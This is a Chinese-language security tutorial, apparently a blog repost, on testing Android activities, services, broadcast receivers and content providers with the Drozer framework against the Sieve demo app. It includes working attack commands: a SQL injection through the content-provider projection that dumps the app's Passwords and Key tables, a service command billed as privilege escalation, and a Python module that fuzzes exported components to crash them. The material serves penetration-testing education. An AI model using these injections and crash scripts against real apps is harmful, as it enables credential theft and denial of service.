基于Drozer框架对安卓四大组件的漏洞挖掘总结

admin 2023年4月6日17:48:50评论85 views字数 6000阅读20分0秒阅读模式

01
 前言 
之前分析了安卓四大组件漏洞形成的原因,这次我们来讲一下如何通过Drozer测试框架来挖掘。Drozer是一个开源项目,用户可以自由下载和使用。其代码托管在GitHub上,用户可以参与到Drozer的开发和维护中。Drozer的文档和教程也非常丰富,用户可以通过阅读文档和教程来快速学习和使用Drozer

02
 漏洞挖掘

2.1  Drozer测试框架
Drozer是一个Android应用程序安全测试框架,旨在帮助安全研究人员和安全测试人员发现和利用Android应用程序中的漏洞。Drozer提供了一组功能强大的工具和API,可以帮助用户深入分析和测试Android应用程序的安全性主要包括以下功能:
1.应用程序分析:Drozer可以帮助用户分析Android应用程序的代码和数据,包括应用程序的组件、权限、服务、广播、内容提供者等。用户可以使用Drozer提供的命令行工具或API来执行这些分析任务。
2.漏洞扫描:Drozer可以帮助用户扫描Android应用程序中的漏洞,包括安全配置错误、代码注入、代码执行、敏感信息泄露等。Drozer提供了一组漏洞扫描插件,用户可以使用这些插件来执行漏洞扫描任务。
3.漏洞利用Drozer可以帮助用户利用Android应用程序中的漏洞,包括代码注入、代码执行、权限提升等。Drozer提供了一组漏洞利用插件,用户可以使用这些插件来执行漏洞利用任务。
4.模拟攻击Drozer可以帮助用户模拟攻击Android应用程序,包括模拟恶意应用程序、模拟攻击者访问应用程序等。Drozer提供了一组模拟攻击插件,用户可以使用这些插件来执行模拟攻击任务。

2.2  测试流程
2.2.1    工具使用
PC上使用adb进行端口转发,转发到Drozer使用的端口31415
基于Drozer框架对安卓四大组件的漏洞挖掘总结
Android设备上开启Drozer Agent
基于Drozer框架对安卓四大组件的漏洞挖掘总结
PC上开启Drozer console
基于Drozer框架对安卓四大组件的漏洞挖掘总结
获取包名
run app.package.list -f sieve
基于Drozer框架对安卓四大组件的漏洞挖掘总结
获取应用的基本信息
run app.package.info -acom.mwr.example.sieve
基于Drozer框架对安卓四大组件的漏洞挖掘总结
确定攻击面
run app.package.attacksurface com.mwr.example.sieve
基于Drozer框架对安卓四大组件的漏洞挖掘总结

2.2.2    Activity漏洞挖掘

-显示暴露的Activity信息
run app.activity.info -a com.mwr.example.sieve
基于Drozer框架对安卓四大组件的漏洞挖掘总结
-生成intent启动activity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
基于Drozer框架对安卓四大组件的漏洞挖掘总结

2.2.3    Service漏洞挖掘

获取service详情  
run app.service.info -a com.mwr.example.sieve
权限提升
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg2354 9234  0 --extra string com.mwr.example.sieve.PIN 1111 --bundle-as-obj
基于Drozer框架对安卓四大组件的漏洞挖掘总结

2.2.4    BroadcastReceiver漏洞挖掘

查看暴露的广播组件信息
run app.broadcast.info -a com.mwr.example.sieve

2.2.5    ContentProvider漏洞挖掘

-ContentProvider注入漏洞

run app.provider.info -a com.mwr.example.sieve
run scanner.provider.injection -a com.mwr.example.sieve
基于Drozer框架对安卓四大组件的漏洞挖掘总结
通过命令即可拿到数据库的数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Passwords;-"
基于Drozer框架对安卓四大组件的漏洞挖掘总结
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Key;-"
基于Drozer框架对安卓四大组件的漏洞挖掘总结

2.2.6    批量拒绝服务漏洞

Drozer有个最大的优点就是模块化,提供很多API接口可以由测试人员自由编写测试脚本,这里推荐一种加载模块的方法
repository中按照python包管理的方法新建目录结构,将python文件放入相应目录中
dz> module repository create [/path/to/repository]
基于Drozer框架对安卓四大组件的漏洞挖掘总结
然后首先要输出崩溃的日志。
adb_server.exelogcat | grep java.lang.RuntimeException
run app.activity.start --component com.buickcom.ccb.ccbnetpay.activity.appresult.ResultActivity
然后再去运行
run exp.fuzz.deny包名
这样脚本就会以空数据的方式去启动导出的组件,如果由崩溃的就可以直接在输出的日志中查看到具体崩溃的是哪个组件,下面是批量脚本。
from drozer import android
from drozer.modules import common, Module
 
class Deny(Module, common.Filters, common.PackageManager):
 
    name 
"find NullPointerException"
    description = "."
    examples = """
    dz> run app.package.deny com.android.browser
    6 activities exported
    4 broadcast receivers exported
    1 content providers exported
    0 services exported"
""
    author = ""
    date = ""
    license = "BSD (3 clause)"
    path = ["exp""fuzz"]
    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]
 
    def add_arguments(self, parser):
        parser.add_argument("package", help="the identifier of the package to inspect")
 
    def attack(self,component,package,flags):
        act=None
        cat=None
        data=None
        comp=(package,component.name)
        extr=None
        flgs=None
 
        if(flags=='activity'):
            flgs =['ACTIVITY_NEW_TASK']
 
        intent = android.Intent(action=act,component=comp,category=cat,data_uri=None, extras=extr, flags=flgs, mimetype=None)
 
        if intent.isValid():
            if(flags=='activity'):
                self.getContext().startActivity(intent.buildIn(self))
            if(flags=='service'):
                self.getContext().startService(intent.buildIn(self))
            if(flags == 'receiver'):
                self.getContext().sendBroadcast(intent.buildIn(self))
        else:
            self.stderr.write("[-] Invalid Intent!n")
 
 
    def execute(self, arguments):
        if arguments.package != None:
            package = self.packageManager().getPackageInfo(arguments.package, common.PackageManager.GET_ACTIVITIES | common.PackageManager.GET_RECEIVERS | common.PackageManager.GET_PROVIDERS | common.PackageManager.GET_SERVICES)
            application = package.applicationInfo
 
            activities = self.match_filter(package.activities, 'exported', True)
            receivers = self.match_filter(package.receivers, 'exported', True)
            providers = self.match_filter(package.providers, 'exported', True)
            services = self.match_filter(package.services, 'exported', True)
 
            self.stdout.write("Attack Surface:n")
            self.stdout.write("  %d activities exportedn" % len(activities))
            self.stdout.write("  %d broadcast receivers exportedn" % len(receivers))
            self.stdout.write("  %d content providers exportedn" % len(providers))
            self.stdout.write("  %d services exportedn" % len(services))
 
            if (application.flags & application.FLAG_DEBUGGABLE) != 0:
                self.stdout.write("    is debuggablen")
 
            if package.sharedUserId != None:
                self.stdout.write("    Shared UID (%s)n" % package.sharedUserId)
 
            actions=[activities,receivers,services]
            action_str=['activity','receiver','service']
            i=-1
            try:
                for action in actions:
                    i+=1
                    if len(action) > 0:
                        for tmp in action:
                            try:
                                if len(tmp.name) > 0:
                                    self.stdout.write(" [+]%s name:%sn" % (action_str[i],tmp.name))
                                    self.attack(component=tmp, package=arguments.package, flags=action_str[i])
                            except Exception, e:
                                self.stdout.write(" error-->%s name:%sn" % (action_str,tmp.name))
                                self.stdout.write(" errorcontent:%sn" % e)
                                continue
            except:
                self.stdout.write(" error")
        else:
            self.stdout.write("No package specifiedn")

03
 总结
总之,利用Drozer测试安卓app可以帮助安全测试人员更好地检测应用程序的漏洞和安全问题,有助于更快的完成Android安全评估,可以大大缩减Android安全评估的耗时提高应用程序的安全性。
       

原文始发于微信公众号(山石网科安全技术研究院):基于Drozer框架对安卓四大组件的漏洞挖掘总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月6日17:48:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于Drozer框架对安卓四大组件的漏洞挖掘总结https://cn-sec.com/archives/1656456.html

发表评论

匿名网友 填写信息